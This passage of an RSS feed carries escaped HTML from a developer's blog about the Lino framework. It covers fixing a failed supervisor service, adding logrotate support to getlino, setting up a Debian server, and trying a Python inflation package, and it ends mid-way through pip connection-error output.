&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;exit-code&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="n"&gt;LSB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Start&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I guess that a reboot might be a simple workaround for this time, so I did:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo reboot
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Indeed now &lt;a class="reference external" href="https://hosting.lino-framework.org/reload_services/#xfile-reload_services.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;reload_services.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; reports no error.  Except for a warning
which says “Forcefully stopping supervisor: supervisord.” which I ignore for
this time.&lt;/p&gt;
&lt;p&gt;I also saw that the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/supervisor/supervisord.log&lt;/span&gt;&lt;/code&gt; file was very
big because we don’t rotate it. So I created a file
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/logrotate.d/supervisor&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="getlino-doesn-t-configure-logrotate"&gt;
&lt;h2&gt;getlino doesn’t configure logrotate&lt;a class="headerlink" href="#getlino-doesn-t-configure-logrotate" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened and fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3179"&gt;#3179&lt;/a&gt;: the Installer now has a new method
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino.utils.Installer.write_logrotate_conf()&lt;/span&gt;&lt;/code&gt; because the logrotate
config for supervisor is the same as the one for the individual lino.log files.
Currently the logrotate config options are mostly hard-coded because we use the
same values on all our production servers.&lt;/p&gt;
&lt;p&gt;It seems that monit creates its own logrotate config file, so we don’t touch
that one.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="standup-meeting"&gt;
&lt;h2&gt;standup meeting&lt;a class="headerlink" href="#standup-meeting" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tonis:
- &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3180"&gt;#3180&lt;/a&gt; write a test case using atelier sheller for testing Django migrations.
- &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3181"&gt;#3181&lt;/a&gt; Hobbit doesn’t accept time values like “230” or “2230”&lt;/p&gt;
&lt;/section&gt;
&lt;section id="getlino-s-first-usage-in-real-world"&gt;
&lt;h2&gt;getlino’s first usage in real world&lt;a class="headerlink" href="#getlino-s-first-usage-in-real-world" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hamza and I continued to configure the new Debian Buster server for
&lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#weleup" title="(in Lino Welfare)"&gt;&lt;span&gt;The Eupen variant of Lino Welfare&lt;/span&gt;&lt;/a&gt;.  It is a kind of historic moment. We imagine that we a re
third-party hosting provider trying to setup a production server without knowing
very much about Lino&lt;/p&gt;
&lt;p&gt;We updated the getlino documentation and did another release with minor changes.
Some default values were not yet optimally.&lt;/p&gt;
&lt;p&gt;Note that a normal system admin would have problems to answer the first questions
asked by getlino:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;contrib (Whether to configure a contributor environment) [True]: n&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sites_base (Base directory for Lino sites on this server) [/usr/local/lino]:&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Maybe contrib should be False by default.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ sudo -H getlino configure –server-domain lino –admin-email &lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;saffre-rumma&amp;#46;net"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;saffre-rumma&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt; –admin-name “Luc Saffre”&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;TODO getlino:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;3140 (Write tests for getlino)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;getlino should also run on other distros than debian 10&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;getlino does not set a mysql root password&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We manually added the go alias to their &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/bash.bashrc&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="use-a-consumer-price-index-for-computing-inflation"&gt;
&lt;h2&gt;Use a Consumer Price Index for computing inflation&lt;a class="headerlink" href="#use-a-consumer-price-index-for-computing-inflation" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I evaluated thre Python packages: cpi, easymoney and economics.
- cpi works only for the US.
- &lt;a class="reference external" href="https://github.com/TariqAHassan/EasyMoney"&gt;easymoney&lt;/a&gt; is quite complex and “only for information purposes”
- but economics is a very simple interface to the worldbank API.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;economics&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Inflation&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Inflation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;country&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;BEL&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2002&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Inflation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;country&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;BEL&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2002&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inflate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;134.9855356585091&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Inflation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;country&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;BEL&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2002&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inflate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;134.9855356585091&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Okay one limitation is that they seem to have only yearly data about Belgium.
But that works for me.  Thanks!&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0902.html</guid><pubDate>Mon, 02 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, August 27, 2019</title><link>https://luc.lino-framework.org/blog/2019/0827.html</link><description>&lt;section id="tuesday-august-27-2019"&gt;
&lt;h1&gt;Tuesday, August 27, 2019&lt;a class="headerlink" href="#tuesday-august-27-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Hamza and I tried to use getlino for the first time on the new server for weleup.&lt;/p&gt;
&lt;p&gt;We released getlino 19.8.1 (&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/changes/index.html#getlino-changes" title="(in getlino docs)"&gt;&lt;span&gt;Changes in getlino&lt;/span&gt;&lt;/a&gt;) and then tested the
instructions in &lt;a class="reference external" href="https://hosting.lino-framework.org/install/#getlino-install-admin" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Set up a Lino production server&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;apt-get&lt;/span&gt; &lt;span class="pre"&gt;update&lt;/span&gt;&lt;/code&gt; failed with message:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Repository&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://ftp.be.debian.org/debian buster InRelease&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;changed&lt;/span&gt; &lt;span class="n"&gt;its&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Suite&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;testing&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;stable&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Solution was to say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get update --allow-releaseinfo-change
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I added &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;apt-get&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;python3-pip&lt;/span&gt;&lt;/code&gt; to the installation instructions.&lt;/p&gt;
&lt;p&gt;And then &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;-H&lt;/span&gt; &lt;span class="pre"&gt;pip3&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;getlino&lt;/span&gt;&lt;/code&gt; said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Collecting&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;
  &lt;span class="n"&gt;Retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Retry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;broken&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NewConnectionError(&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VerifiedHTTPSConnection&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7fbc92f8e8d0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;establish&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Network&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;unreachable&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;simple&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
  &lt;span class="n"&gt;Retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Retry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;broken&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NewConnectionError(&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VerifiedHTTPSConnection&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7fbc92f8eda0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;establish&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Network&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;unreachable&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;simple&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
  &lt;span class="n"&gt;Retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Retry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;broken&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NewConnectionError(&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VerifiedHTTPSConnection&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7fbc929da9b0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;establish&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Network&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;unreachable&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;simple&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
  &lt;span class="n"&gt;Retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Retry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;broken&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NewConnectionError(&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VerifiedHTTPSConnection&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7fbc929dad68&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;establish&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Network&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;unreachable&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;simple&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
